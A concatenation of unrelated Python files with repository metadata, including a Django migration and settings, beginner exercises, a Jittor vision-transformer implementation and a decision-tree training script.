| 949
|
py
|
# -*- coding: utf-8 -*-
# Generated by Django 1.9.4 on 2016-04-08 09:40
from __future__ import unicode_literals
from django.db import migrations, models
import mapit_bulk_processing.models
class Migration(migrations.Migration):
dependencies = [
('mapit_bulk_processing', '0012_auto_20160401_1740'),
]
operations = [
migrations.AddField(
model_name='bulklookup',
name='bad_rows',
field=models.IntegerField(blank=True, null=True),
),
migrations.AlterField(
model_name='bulklookup',
name='original_file',
field=models.FileField(upload_to=mapit_bulk_processing.models.original_file_upload_to),
),
migrations.AlterField(
model_name='bulklookup',
name='output_file',
field=models.FileField(blank=True, upload_to=mapit_bulk_processing.models.output_file_upload_to),
),
]
|
[
"steve@mysociety.org"
] |
steve@mysociety.org
|
a4e9e0947887ea83249ad5ea387bebbd6ff85e0a
|
8793b5a3c6819ff3a349faaa80868035dfdf424c
|
/6/at_lesson/star.py
|
895b6681026d8de02db9a5c372d432b5b308a614
|
[] |
no_license
|
MarinaFirefly/Python_homeworks
|
0a331d5c2235e6f9b791c136d0f08020bf688b4a
|
c334c828fac9d163b45fe3710db45ec393830bff
|
refs/heads/master
| 2020-09-06T15:33:41.456129
| 2020-02-08T09:46:30
| 2020-02-08T09:46:30
| 220,466,582
| 2
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 326
|
py
|
#briliant. Only odd numbers must be entered!
def star(number):
for i in range(number):
quantity_slash = abs(number // 2 - i)
print(f"{' ' * quantity_slash}{'*' * (number - quantity_slash * 2)}")
return
num = int(input("Enter odd number! "))
if num%2 == 1:
star(num)
else: print ("Number isn't odd!")
|
[
"laktionova.marina@gmail.com"
] |
laktionova.marina@gmail.com
|
e1dde18ada9d2bd785b48f8d297f7672a2c033fc
|
83d30fd71aed81e391efa95b77cad4e3ab0f9522
|
/Копия task1_18 Vector Class.py
|
7da64689f87f12fc192b592fe189bb35b36dda15
|
[] |
no_license
|
jooker33/learning_tasks
|
b59a8daceb3592871c86873ed2d0522ad9d7927b
|
072212540e9b3ab98978e2e2801796e2c1174a89
|
refs/heads/master
| 2023-08-28T06:09:05.908910
| 2021-11-01T15:57:12
| 2021-11-01T15:57:12
| 390,347,899
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 441
|
py
|
class vector():
def __init__(self,x_coord,y_coord):
self.x_coord=x_coord
self.y_coord=y_coord
def __add__(self,other):
return vector(self.x_coord + other.x_coord,self.y_coord+other.y_coord)
def __repr__(self):
return 'Vector({}, {})'.format(self.x_coord,self.y_coord)
vector_1=vector(1,3)
#Вывели значения координат Х и Y
print(vector_1.x_coord, vector_1.y_coord)
print(vector_1+vector_1)
print(1+2)
|
[
"noreply@github.com"
] |
noreply@github.com
|
127f915c4b516382f9f8475573aee8803aa3fb0f
|
d83cedb26a1f40b4e129416165fe7ae0947a725d
|
/斐波那契 列表 网上代码.py
|
1b473c28e6529067b98df0df1c5f18a7294c5138
|
[] |
no_license
|
VestigesH/python
|
84ce1c188495748632edb202177db67cd75f1ebe
|
5b8561d171cab5cb93c5577b24d84fd01524b168
|
refs/heads/master
| 2020-06-16T14:00:35.510453
| 2019-07-07T02:33:08
| 2019-07-07T02:33:08
| 195,601,138
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 60
|
py
|
L=[1,1]
while len(L)<10:
L.append(L[-1]+L[-2])
print(L)
|
[
"1541945594@qq.com"
] |
1541945594@qq.com
|
3597afdc6cc44123ef9e2f78547e45c252287aac
|
6f9e4bec6bbe9a37dc69c991a9ba0090b9720bfa
|
/project_rango/settings/base.py
|
4504d734ffd99dae77f5dbb368bee1ad1005894f
|
[] |
no_license
|
hkfs15/rango
|
13e10010e259ef88777a898f4f54621bf4677bef
|
0ec0902bfc070667bc3e21c8403103dafac0f2e9
|
refs/heads/master
| 2021-01-10T10:01:42.345526
| 2015-10-14T04:18:33
| 2015-10-14T04:18:33
| 44,223,643
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 3,096
|
py
|
"""
Django settings for project_rango project.
Generated by 'django-admin startproject' using Django 1.8.5.
For more information on this file, see
https://docs.djangoproject.com/en/1.8/topics/settings/
For the full list of settings and their values, see
https://docs.djangoproject.com/en/1.8/ref/settings/
"""
# Build paths inside the project like this: os.path.join(BASE_DIR, ...)
import os
BASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
# Quick-start development settings - unsuitable for production
# See https://docs.djangoproject.com/en/1.8/howto/deployment/checklist/
# SECURITY WARNING: keep the secret key used in production secret!
SECRET_KEY = 'r@ork-5o5hnkmkb_l^to&m!skn!a=(xt+1la274t&g@&vqoehl'
# SECURITY WARNING: don't run with debug turned on in production!
DEBUG = True
ALLOWED_HOSTS = []
# Application definition
INSTALLED_APPS = (
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
'project_rango.apps.rango',
'registration',
'bootstrap_toolkit',
)
MIDDLEWARE_CLASSES = (
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.auth.middleware.SessionAuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
'django.middleware.security.SecurityMiddleware',
)
ROOT_URLCONF = 'project_rango.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [os.path.join(BASE_DIR,'templates')],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'project_rango.wsgi.application'
# Database
# https://docs.djangoproject.com/en/1.8/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': os.path.join(BASE_DIR, 'db.sqlite3'),
}
}
# Internationalization
# https://docs.djangoproject.com/en/1.8/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/1.8/howto/static-files/
STATIC_URL = '/static/'
STATICFILES_DIRS = (
os.path.join(BASE_DIR,"static"),
)
LOCALE_PATHS = (
os.path.join(BASE_DIR,"locale"),
)
MEDIA_ROOT = '/upload/'
LOGIN_URL = '/rango/login/'
REGISTRATION_OPEN = True
ACCOUNT_ACTIVATION_DAYS = 7
REGISTRATION_AUTO_LOGIN = True
LOGIN_REDIRECT_URL = '/rango/'
LOGIN_URL = '/accounts/login/'
|
[
"hkfs15@163.com"
] |
hkfs15@163.com
|
6ec31c553f72c6a11ebe59ba3afd9595af33ffd4
|
65a60b14be349d4d8f6f493f87f6f2b4ac7f6cbb
|
/jmesh/models/transformer/external.py
|
d200fdfc08675ab4bd6a30ccfb477170acc75165
|
[
"MIT"
] |
permissive
|
Exusial/MWFormer
|
3729fee8ec085930d7a67161b968402a5db59b9e
|
008e5724c933cebc110ace9b3cdcab102ee011de
|
refs/heads/master
| 2023-07-13T10:54:01.295366
| 2023-07-10T03:10:52
| 2023-07-10T03:10:52
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 22,772
|
py
|
#coding=utf-8
import jittor as jt
from jittor import nn
from jittor.misc import _pair
from functools import partial
import math
import numpy as np
from .utils import trunc_normal,load_pretrained,_conv_filter
from .config import default_cfgs
class MLP(nn.Module):
def __init__(self, in_features, hidden_features=None, out_features=None, act_layer=nn.GELU, drop=0.):
super(MLP,self).__init__()
out_features = out_features or in_features
hidden_features = hidden_features or in_features
self.fc1 = nn.Linear(in_features, hidden_features)
self.act = act_layer()
self.fc2 = nn.Linear(hidden_features, out_features)
self.drop = nn.Dropout(drop)
def execute(self, x):
x = self.fc1(x)
x = self.act(x)
x = self.drop(x)
x = self.fc2(x)
x = self.drop(x)
return x
class Attention(nn.Module):
def __init__(self, dim, num_heads=8, qkv_bias=False, qk_scale=None, attn_drop=0., proj_drop=0.):
super().__init__()
self.num_heads = num_heads
assert dim % num_heads == 0
self.coef = 16
self.up_dim = 4
self.trans_dims = nn.Linear(dim, dim * self.up_dim)
# self.relu = nn.ReLU()
self.num_heads = self.num_heads * self.coef
self.k = 32
self.linear_0 = nn.Linear(dim * self.up_dim // self.num_heads, self.k)
self.linear_1 = nn.Linear(self.k, dim * self.up_dim // self.num_heads)
self.attn_drop = nn.Dropout(attn_drop)
self.proj = nn.Linear(dim * self.up_dim, dim)
self.relu = nn.ReLU()
self.proj_drop = nn.Dropout(proj_drop)
self.apply(self._init_weights)
def apply(self,fn):
for m in self.modules():
fn(m)
def _init_weights(self, m):
if isinstance(m, nn.Linear):
m.weight = trunc_normal(m.weight, std=.02)
if isinstance(m, nn.Linear) and m.bias is not None:
nn.init.constant_(m.bias, 0)
elif isinstance(m, nn.LayerNorm):
nn.init.constant_(m.bias, 0)
nn.init.constant_(m.weight, 1.0)
def execute(self, x):
# print("init", x.shape)
B, N, C = x.shape
x = self.trans_dims(x) # B, N, C
# x = self.relu(x)
x = x.view(B, N * self.num_heads, -1)
# .reshape(B, N * self.num_heads, -1)
# .permute(0, 2, 1, 3)
# x = x.view(B, N, self.num_heads, -1).permute(0, 2, 1, 3)
attn = self.linear_0(x)
attn = attn.softmax(dim=-2)
attn = attn / ((1e-9 + attn.sum(dim=-1))).unsqueeze(-1)
# print("attn", attn.shape)
attn = self.attn_drop(attn)
# x = self.linear_1(attn).permute(0,2,1,3).reshape(B, N, -1)
x = self.linear_1(attn).reshape(B, N, -1)
# .permute(0,2,1,3).reshape(B, N, -1)
x = self.proj(x)
# print("output", x.shape)
x = self.proj_drop(x)
return x
class Attention2(nn.Module):
def __init__(self, dim, num_heads=8, qkv_bias=False, qk_scale=None, attn_drop=0., proj_drop=0.):
super(Attention,self).__init__()
self.num_heads = num_heads
head_dim = dim // num_heads
# NOTE scale factor was wrong in my original version, can set manually to be compat with prev weights
self.scale = qk_scale or head_dim ** -0.5
self.qkv = nn.Linear(dim, dim * 3, bias=qkv_bias)
self.attn_drop = nn.Dropout(attn_drop)
self.proj = nn.Linear(dim, dim)
self.proj_drop = nn.Dropout(proj_drop)
def execute(self, x):
b,n,c = x.shape
qkv = self.qkv(x).reshape(b, n, 3, self.num_heads, c// self.num_heads).permute(2, 0, 3, 1, 4)
q,k,v = qkv[0],qkv[1],qkv[2]
# attn = nn.bmm(q,k.transpose(0,1,3,2))*self.scale
attn = nn.bmm_transpose(q, k)*self.scale
attn = nn.softmax(attn,dim=-1)
attn = self.attn_drop(attn)
out = nn.bmm(attn,v)
out = out.transpose(0,2,1,3).reshape(b,n,c)
out = self.proj(out)
out = self.proj_drop(out)
return out
class DropPath(nn.Module):
"""Drop paths (Stochastic Depth) per sample (when applied in main path of residual blocks).
"""
def __init__(self, drop_prob=None):
super(DropPath, self).__init__()
self.drop_prob = drop_prob
def execute(self, x):
if self.drop_prob == 0. or not self.is_training():
return x
keep_prob = 1-self.drop_prob
shape = (x.shape[0],) + (1,) * (x.ndim - 1) # work with diff dim tensors, not just 2D ConvNets
random_tensor = keep_prob + jt.random(shape, dtype=x.dtype)
random_tensor = jt.floor(random_tensor) # binarize
output = (x / keep_prob) * random_tensor
return output
class Block(nn.Module):
def __init__(self, dim, num_heads, mlp_ratio=4., qkv_bias=False, qk_scale=None, drop=0., attn_drop=0.,
drop_path=0., act_layer=nn.GELU, norm_layer=nn.LayerNorm):
super(Block,self).__init__()
self.norm1 = norm_layer(dim)
self.attn = Attention(dim,
num_heads=num_heads,
qkv_bias=qkv_bias,
qk_scale=qk_scale,
attn_drop=attn_drop,
proj_drop=drop)
# NOTE: drop path for stochastic depth, we shall see if this is better than dropout here
self.drop_path = DropPath(drop_path) if drop_path > 0. else nn.Identity()
self.norm2 = norm_layer(dim)
mlp_hidden_dim = int(dim * mlp_ratio)
self.mlp = MLP(in_features=dim,
hidden_features=mlp_hidden_dim,
act_layer=act_layer,
drop=drop)
def execute(self, x):
x = x + self.drop_path(self.attn(self.norm1(x)))
x = x + self.drop_path(self.mlp(self.norm2(x)))
return x
class PatchEmbed(nn.Module):
""" Image to Patch Embedding
"""
def __init__(self, img_size=224, patch_size=16, in_chans=3, embed_dim=768):
super(PatchEmbed,self).__init__()
img_size = _pair(img_size)
patch_size = _pair(patch_size)
num_patches = (img_size[1] // patch_size[1]) * (img_size[0] // patch_size[0])
self.img_size = img_size
self.patch_size = patch_size
self.num_patches = num_patches
self.proj = nn.Conv(in_chans, embed_dim, kernel_size=patch_size, stride=patch_size)
def execute(self, x):
B, C, H, W = x.shape
# FIXME look at relaxing size constraints
assert H == self.img_size[0] and W == self.img_size[1], f"Input image size ({H}*{W}) doesn't match model ({self.img_size[0]}*{self.img_size[1]})."
x = self.proj(x).flatten(2).transpose(0, 2, 1)
return x
class HybridEmbed(nn.Module):
""" CNN Feature Map Embedding
Extract feature map from CNN, flatten, project to embedding dim.
"""
def __init__(self, backbone, img_size=224, feature_size=None, in_chans=3, embed_dim=768):
super(HybridEmbed,self).__init__()
assert isinstance(backbone, nn.Module)
img_size = _pair(img_size)
self.img_size = img_size
self.backbone = backbone
if feature_size is None:
with jt.no_grad():
# FIXME this is hacky, but most reliable way of determining the exact dim of the output feature
# map for all networks, the feature metadata has reliable channel and stride info, but using
# stride to calc feature dim requires info about padding of each stage that isn't captured.
training = backbone.is_training()
if training:
backbone.eval()
o = self.backbone(jt.zeros((1, in_chans, img_size[0], img_size[1])))[-1]
feature_size = o.shape[-2:]
feature_dim = o.shape[1]
backbone.train()
else:
feature_size = _pair(feature_size)
feature_dim = self.backbone.feature_info.channels()[-1]
self.num_patches = feature_size[0] * feature_size[1]
self.proj = nn.Linear(feature_dim, embed_dim)
def execute(self, x):
x = self.backbone(x)[-1]
x = x.flatten(2).transpose(0,2,1)
x = self.proj(x)
return x
class VisionTransformer(nn.Module):
""" Vision Transformer with support for patch or hybrid CNN input stage
"""
def __init__(self,
img_size=224,
patch_size=16,
in_chans=3,
num_classes=1000,
embed_dim=768,
depth=12,
num_heads=12,
mlp_ratio=4.,
qkv_bias=False,
qk_scale=None,
drop_rate=0.,
attn_drop_rate=0.,
drop_path_rate=0.,
hybrid_backbone=None,
norm_layer=nn.LayerNorm):
super(VisionTransformer,self).__init__()
if hybrid_backbone is not None:
self.patch_embed = HybridEmbed(hybrid_backbone, img_size=img_size, in_chans=in_chans, embed_dim=embed_dim)
else:
self.patch_embed = PatchEmbed(img_size=img_size, patch_size=patch_size, in_chans=in_chans, embed_dim=embed_dim)
num_patches = self.patch_embed.num_patches
self.cls_token = jt.zeros((1, 1, embed_dim))
self.pos_embed = jt.zeros((1, num_patches + 1, embed_dim))
self.pos_drop = nn.Dropout(drop_rate)
dpr = [x.item() for x in np.linspace(0, drop_path_rate, depth)] # stochastic depth decay rule
self.blocks = nn.ModuleList([
Block(
dim=embed_dim, num_heads=num_heads, mlp_ratio=mlp_ratio, qkv_bias=qkv_bias, qk_scale=qk_scale,
drop=drop_rate, attn_drop=attn_drop_rate, drop_path=dpr[i], norm_layer=norm_layer)
for i in range(depth)])
self.norm = norm_layer(embed_dim)
# NOTE as per official impl, we could have a pre-logits representation dense layer + tanh here
#self.repr = nn.Linear(embed_dim, representation_size)
#self.repr_act = nn.Tanh()
# Classifier head
self.head = nn.Linear(embed_dim, num_classes)
self.pos_embed = trunc_normal(self.pos_embed, std=.02)
self.cls_token = trunc_normal(self.cls_token, std=.02)
self.apply(self._init_weights)
def apply(self,fn):
for m in self.modules():
fn(m)
def _init_weights(self, m):
if isinstance(m, nn.Linear):
m.weight = trunc_normal(m.weight, std=.02)
if isinstance(m, nn.Linear) and m.bias is not None:
nn.init.constant_(m.bias, 0)
elif isinstance(m, nn.LayerNorm):
nn.init.constant_(m.bias, 0)
nn.init.constant_(m.weight, 1.0)
def execute(self, x):
B = x.shape[0]
x = self.patch_embed(x)
_,i,j = self.cls_token.shape
cls_tokens = self.cls_token.expand((B, i, j)) # stole cls_tokens impl from Phil Wang, thanks
x = jt.contrib.concat((cls_tokens, x), dim=1)
x = x + self.pos_embed
x = self.pos_drop(x)
for blk in self.blocks:
x = blk(x)
x = self.norm(x)
x = self.head(x[:, 0])
return x
class PatchTransformer(nn.Module):
""" Vision Transformer with support for patch or hybrid CNN input stage
"""
def __init__(self,
num_patches=256,
num_classes=30,
embed_dim=128,
depth=4,
num_heads=4,
mlp_ratio=4.,
qkv_bias=False,
qk_scale=None,
drop_rate=0.,
attn_drop_rate=0.,
drop_path_rate=0.,
hybrid_backbone=None,
norm_layer=nn.LayerNorm):
super(PatchTransformer,self).__init__()
self.cls_token = jt.zeros((1, 1, embed_dim))
# self.pos_embed = jt.zeros((1, num_patches + 1, embed_dim))
# self.pos_drop = nn.Dropout(drop_rate)
dpr = [x.item() for x in np.linspace(0, drop_path_rate, depth)] # stochastic depth decay rule
self.blocks = nn.ModuleList([
Block(
dim=embed_dim, num_heads=num_heads, mlp_ratio=mlp_ratio, qkv_bias=qkv_bias, qk_scale=qk_scale,
drop=drop_rate, attn_drop=attn_drop_rate, drop_path=dpr[i], norm_layer=norm_layer)
for i in range(depth)])
self.norm = norm_layer(embed_dim)
# NOTE as per official impl, we could have a pre-logits representation dense layer + tanh here
#self.repr = nn.Linear(embed_dim, representation_size)
#self.repr_act = nn.Tanh()
# Classifier head
self.head = nn.Linear(embed_dim, num_classes)
# self.pos_embed = trunc_normal(self.pos_embed, std=.02)
self.cls_token = trunc_normal(self.cls_token, std=.02)
self.apply(self._init_weights)
def apply(self,fn):
for m in self.modules():
fn(m)
def _init_weights(self, m):
if isinstance(m, nn.Linear):
m.weight = trunc_normal(m.weight, std=.02)
if isinstance(m, nn.Linear) and m.bias is not None:
nn.init.constant_(m.bias, 0)
elif isinstance(m, nn.LayerNorm):
nn.init.constant_(m.bias, 0)
nn.init.constant_(m.weight, 1.0)
def execute(self, x):
B = x.shape[0]
_,i,j = self.cls_token.shape
cls_tokens = self.cls_token.expand((B, i, j)) # stole cls_tokens impl from Phil Wang, thanks
x = jt.contrib.concat((cls_tokens, x), dim=1)
# x = x + self.pos_embed
# x = self.pos_drop(x)
for blk in self.blocks:
x = blk(x)
x = self.norm(x)
x = self.head(x[:, 0])
return x
class PatchHieTransformer(nn.Module):
""" Vision Transformer with support for patch or hybrid CNN input stage
"""
def __init__(self,
num_patches=256,
num_classes=30,
embed_dim=128,
depth=4,
num_heads=4,
mlp_ratio=4.,
qkv_bias=False,
qk_scale=None,
drop_rate=0.,
attn_drop_rate=0.,
drop_path_rate=0.,
hybrid_backbone=None,
norm_layer=nn.LayerNorm):
super(PatchHieTransformer,self).__init__()
# self.pos_embed = jt.zeros((1, num_patches + 1, embed_dim))
# self.pos_drop = nn.Dropout(drop_rate)
dpr = [x.item() for x in np.linspace(0, drop_path_rate, depth)] # stochastic depth decay rule
self.blocks = nn.ModuleList([
Block(
dim=embed_dim, num_heads=num_heads, mlp_ratio=mlp_ratio, qkv_bias=qkv_bias, qk_scale=qk_scale,
drop=drop_rate, attn_drop=attn_drop_rate, drop_path=dpr[i], norm_layer=norm_layer)
for i in range(depth)])
self.norm = norm_layer(embed_dim)
# print(embed_dim, num_classes)
self.head = nn.Linear(embed_dim, num_classes)
self.apply(self._init_weights)
def apply(self,fn):
for m in self.modules():
fn(m)
def _init_weights(self, m):
if isinstance(m, nn.Linear):
m.weight = trunc_normal(m.weight, std=.02)
if isinstance(m, nn.Linear) and m.bias is not None:
nn.init.constant_(m.bias, 0)
elif isinstance(m, nn.LayerNorm):
nn.init.constant_(m.bias, 0)
nn.init.constant_(m.weight, 1.0)
def execute(self, x):
# x = x + self.pos_embed
# x = self.pos_drop(x)
# print(x.shape)
for blk in self.blocks:
x = blk(x)
x = self.norm(x)
x = self.head(x)
return x
class PatchAvgTransformer(nn.Module):
""" Vision Transformer with support for patch or hybrid CNN input stage
"""
def __init__(self,
num_patches=256,
num_classes=30,
embed_dim=128,
depth=4,
num_heads=4,
mlp_ratio=4.,
qkv_bias=False,
qk_scale=None,
drop_rate=0.,
attn_drop_rate=0.,
drop_path_rate=0.,
hybrid_backbone=None,
norm_layer=nn.LayerNorm):
super(PatchAvgTransformer,self).__init__()
# self.pos_embed = jt.zeros((1, num_patches + 1, embed_dim))
# self.pos_drop = nn.Dropout(drop_rate)
dpr = [x.item() for x in np.linspace(0, drop_path_rate, depth)] # stochastic depth decay rule
self.blocks = nn.ModuleList([
Block(
dim=embed_dim, num_heads=num_heads, mlp_ratio=mlp_ratio, qkv_bias=qkv_bias, qk_scale=qk_scale,
drop=drop_rate, attn_drop=attn_drop_rate, drop_path=dpr[i], norm_layer=norm_layer)
for i in range(depth)])
self.norm = norm_layer(embed_dim)
# NOTE as per official impl, we could have a pre-logits representation dense layer + tanh here
#self.repr = nn.Linear(embed_dim, representation_size)
#self.repr_act = nn.Tanh()
# Classifier head
self.head = nn.Linear(embed_dim, num_classes)
# self.pos_embed = trunc_normal(self.pos_embed, std=.02)
self.apply(self._init_weights)
def apply(self,fn):
for m in self.modules():
fn(m)
def _init_weights(self, m):
if isinstance(m, nn.Linear):
m.weight = trunc_normal(m.weight, std=.02)
if isinstance(m, nn.Linear) and m.bias is not None:
nn.init.constant_(m.bias, 0)
elif isinstance(m, nn.LayerNorm):
nn.init.constant_(m.bias, 0)
nn.init.constant_(m.weight, 1.0)
def execute(self, x):
# x = x + self.pos_embed
# x = self.pos_drop(x)
for blk in self.blocks:
x = blk(x)
x = self.norm(x)
x = jt.mean(x, dim=1)
x = self.head(x)
return x
def vit_small_patch16_224(pretrained=False, **kwargs):
if pretrained:
# NOTE my scale was wrong for original weights, leaving this here until I have better ones for this model
kwargs.setdefault('qk_scale', 768 ** -0.5)
model = VisionTransformer(patch_size=16, embed_dim=768, depth=8, num_heads=8, mlp_ratio=3., **kwargs)
model.default_cfg = default_cfgs['vit_small_patch16_224']
if pretrained:
load_pretrained(
model, num_classes=kwargs.get('num_classes', 0), in_chans=kwargs.get('in_chans', 3), filter_fn=_conv_filter)
return model
def vit_base_patch16_224(pretrained=False, **kwargs):
if pretrained:
# NOTE my scale was wrong for original weights, leaving this here until I have better ones for this model
kwargs.setdefault('qk_scale', 768 ** -0.5)
model = VisionTransformer(patch_size=16, embed_dim=768, depth=12, num_heads=12, mlp_ratio=4, **kwargs)
model.default_cfg = default_cfgs['vit_base_patch16_224']
if pretrained:
load_pretrained(
model, num_classes=kwargs.get('num_classes', 0), in_chans=kwargs.get('in_chans', 3), filter_fn=_conv_filter)
return model
def vit_base_patch16_384(pretrained=False, **kwargs):
model = VisionTransformer(
img_size=384, patch_size=16, embed_dim=768, depth=12, num_heads=12, mlp_ratio=4, qkv_bias=True,
norm_layer=partial(nn.LayerNorm, eps=1e-6), **kwargs)
model.default_cfg = default_cfgs['vit_base_patch16_384']
if pretrained:
load_pretrained(
model, num_classes=kwargs.get('num_classes', 0), in_chans=kwargs.get('in_chans', 3))
return model
def vit_base_patch32_384(pretrained=False, **kwargs):
model = VisionTransformer(
img_size=384, patch_size=32, embed_dim=768, depth=12, num_heads=12, mlp_ratio=4, qkv_bias=True,
norm_layer=partial(nn.LayerNorm, eps=1e-6), **kwargs)
model.default_cfg = default_cfgs['vit_base_patch32_384']
if pretrained:
load_pretrained(
model, num_classes=kwargs.get('num_classes', 0), in_chans=kwargs.get('in_chans', 3))
return model
def vit_large_patch16_224(pretrained=False, **kwargs):
model = VisionTransformer(patch_size=16, embed_dim=1024, depth=24, num_heads=16, mlp_ratio=4, **kwargs)
model.default_cfg = default_cfgs['vit_large_patch16_224']
return model
def vit_large_patch16_384(pretrained=False, **kwargs):
model = VisionTransformer(
img_size=384, patch_size=16, embed_dim=1024, depth=24, num_heads=16, mlp_ratio=4, qkv_bias=True,
norm_layer=partial(nn.LayerNorm, eps=1e-6), **kwargs)
model.default_cfg = default_cfgs['vit_large_patch16_384']
if pretrained:
load_pretrained(
model, num_classes=kwargs.get('num_classes', 0), in_chans=kwargs.get('in_chans', 3))
return model
def vit_large_patch32_384(pretrained=False, **kwargs):
model = VisionTransformer(
img_size=384, patch_size=32, embed_dim=1024, depth=24, num_heads=16, mlp_ratio=4, qkv_bias=True,
norm_layer=partial(nn.LayerNorm, eps=1e-6), **kwargs)
model.default_cfg = default_cfgs['vit_large_patch32_384']
if pretrained:
load_pretrained(
model, num_classes=kwargs.get('num_classes', 0), in_chans=kwargs.get('in_chans', 3))
return model
def vit_huge_patch16_224(pretrained=False, **kwargs):
model = VisionTransformer(patch_size=16, embed_dim=1280, depth=32, num_heads=16, mlp_ratio=4, **kwargs)
model.default_cfg = default_cfgs['vit_huge_patch16_224']
return model
def vit_huge_patch32_384(pretrained=False, **kwargs):
model = VisionTransformer(
img_size=384, patch_size=32, embed_dim=1280, depth=32, num_heads=16, mlp_ratio=4, **kwargs)
model.default_cfg = default_cfgs['vit_huge_patch32_384']
return model
MODELS = {
'vit_huge_patch32_384':vit_huge_patch32_384,
'vit_huge_patch16_224':vit_huge_patch16_224,
'vit_large_patch32_384':vit_large_patch32_384,
'vit_large_patch16_384':vit_large_patch16_384,
'vit_large_patch16_224':vit_large_patch16_224,
'vit_base_patch32_384':vit_base_patch32_384,
'vit_base_patch16_384':vit_base_patch16_384,
'vit_base_patch16_224':vit_base_patch16_224,
'vit_small_patch16_224':vit_small_patch16_224
}
def create_model(name,**kwargs):
assert name in MODELS.keys()
return MODELS[name](**kwargs)
|
[
"bilibili39@163.com"
] |
bilibili39@163.com
|
028660a24e92f54b0bc846a5d68b6e90ac21cddf
|
41710e9133d660739f8f9f17040a2a8a6082e9fb
|
/python/aa_modules/fitsio_has_errors/eg2.py
|
d4a0e6e5e75796a2ec451845dfda65e7d12df200
|
[] |
no_license
|
hanjiangxue007/Programming
|
591678150e2e300051fdeaf09124d3893076d3a9
|
7a545ef2300b004497f30d27d1f2aaa032e26af5
|
refs/heads/master
| 2020-06-29T18:50:27.776557
| 2016-10-27T18:31:39
| 2016-10-27T18:31:39
| null | 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,094
|
py
|
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Author : Bhishan Poudel; Physics PhD Student, Ohio University
# Date : Oct-15-2016 Sat
# Last update :
#
#
# Imports
import fitsio
from fitsio import FITS,FITSHDR
# Often you just want to quickly read or write data without bothering to
# create a FITS object. In that case, you can use the read and write
# convienience functions.
# read all data from the first hdu with data
filename='test.fits'
data = fitsio.read(filename)
# read a subset of rows and columns from a table
data = fitsio.read(filename, rows=[35,1001], columns=['x','y'], ext=2)
# read the header, or both at once
h = fitsio.read_header(filename, extension)
data,h = fitsio.read(filename, ext=ext, header=True)
# open the file, write a new binary table extension, and then write the
# data from "recarray" into the table. By default a new extension is
# added to the file. use clobber=True to overwrite an existing file
# instead. To append rows to an existing table, see below.
fitsio.write(filename, recarray)
# write an image
fitsio.write(filename, image)
|
[
"bhishantryphysics@gmail.com"
] |
bhishantryphysics@gmail.com
|
b4894f135a3440bcec49be233de785a09e58a382
|
7f32834adae48f49d088aef58718b9d7a473af26
|
/venv/Scripts/pip3-script.py
|
9986486fc369508d184eb01eefd50e5983b032fa
|
[] |
no_license
|
PeiYunluo/spider-scrapy
|
9f6e4f38aa15f7ea4d997c1139254cd5be259981
|
6d91e59b509f141930de45b83a3de47db4b72346
|
refs/heads/master
| 2020-12-14T10:19:06.055652
| 2020-01-18T08:49:17
| 2020-01-18T08:49:17
| 234,706,039
| 0
| 0
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 407
|
py
|
#!D:\PyCharmProjects\spider-scrapy\venv\Scripts\python.exe
# EASY-INSTALL-ENTRY-SCRIPT: 'pip==19.0.3','console_scripts','pip3'
__requires__ = 'pip==19.0.3'
import re
import sys
from pkg_resources import load_entry_point
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0])
sys.exit(
load_entry_point('pip==19.0.3', 'console_scripts', 'pip3')()
)
|
[
"peiyunluo@icloud.com"
] |
peiyunluo@icloud.com
|
243f9502d6d493755fd42afd6fe5df30df8792a6
|
8d1b2c704368e4e40dbe564f54a16658be334687
|
/Netflix-based/py/fdt_process.py
|
972cb26a617eb34c6099a20729d5ed8249673d5e
|
[] |
no_license
|
zzhyzzh/Factorized-Decision-Tree
|
ca9b4b7bd7cdcaad4e52d98426e856efd290f167
|
0057c1d464d10efc0ee8f3ec30402af58a046774
|
refs/heads/master
| 2021-09-07T19:05:54.612325
| 2018-02-27T16:29:39
| 2018-02-27T16:29:39
| 110,657,366
| 0
| 1
| null | null | null | null |
UTF-8
|
Python
| false
| false
| 1,799
|
py
|
############# Input Package ################
from scipy.sparse import load_npz
import dt_model as dt
import tool_function as tf
import klepto
############################################
############### Load Data ##################
rating_matrix_csc = load_npz('./netflix/sparse_matrix_100%.npz').tocsc()
rating_matrix_val_csc = load_npz('./netflix/sparse_matrix_validation_75%.npz').tocsc()
print("file load DONE")
############################################
############### Build Tree #################
start = 0
end = int(rating_matrix_csc.shape[1] * 0.75)
dtmodel_realdata = dt.DecisionTreeModel(rating_matrix_csc[:, start:end], depth_threshold = 10)
dtmodel_realdata.build_model()
Tree = klepto.archives.dir_archive('treeFile', cached=True, serialized=True)
Tree['lr_bound'] = dtmodel_realdata.lr_bound
Tree['tree'] = dtmodel_realdata.tree
Tree['split_item'] = dtmodel_realdata.split_item
Tree['rI'] = dtmodel_realdata.rI
Tree.dump()
Tree.clear()
############################################
######################## Build Predict Model #########################
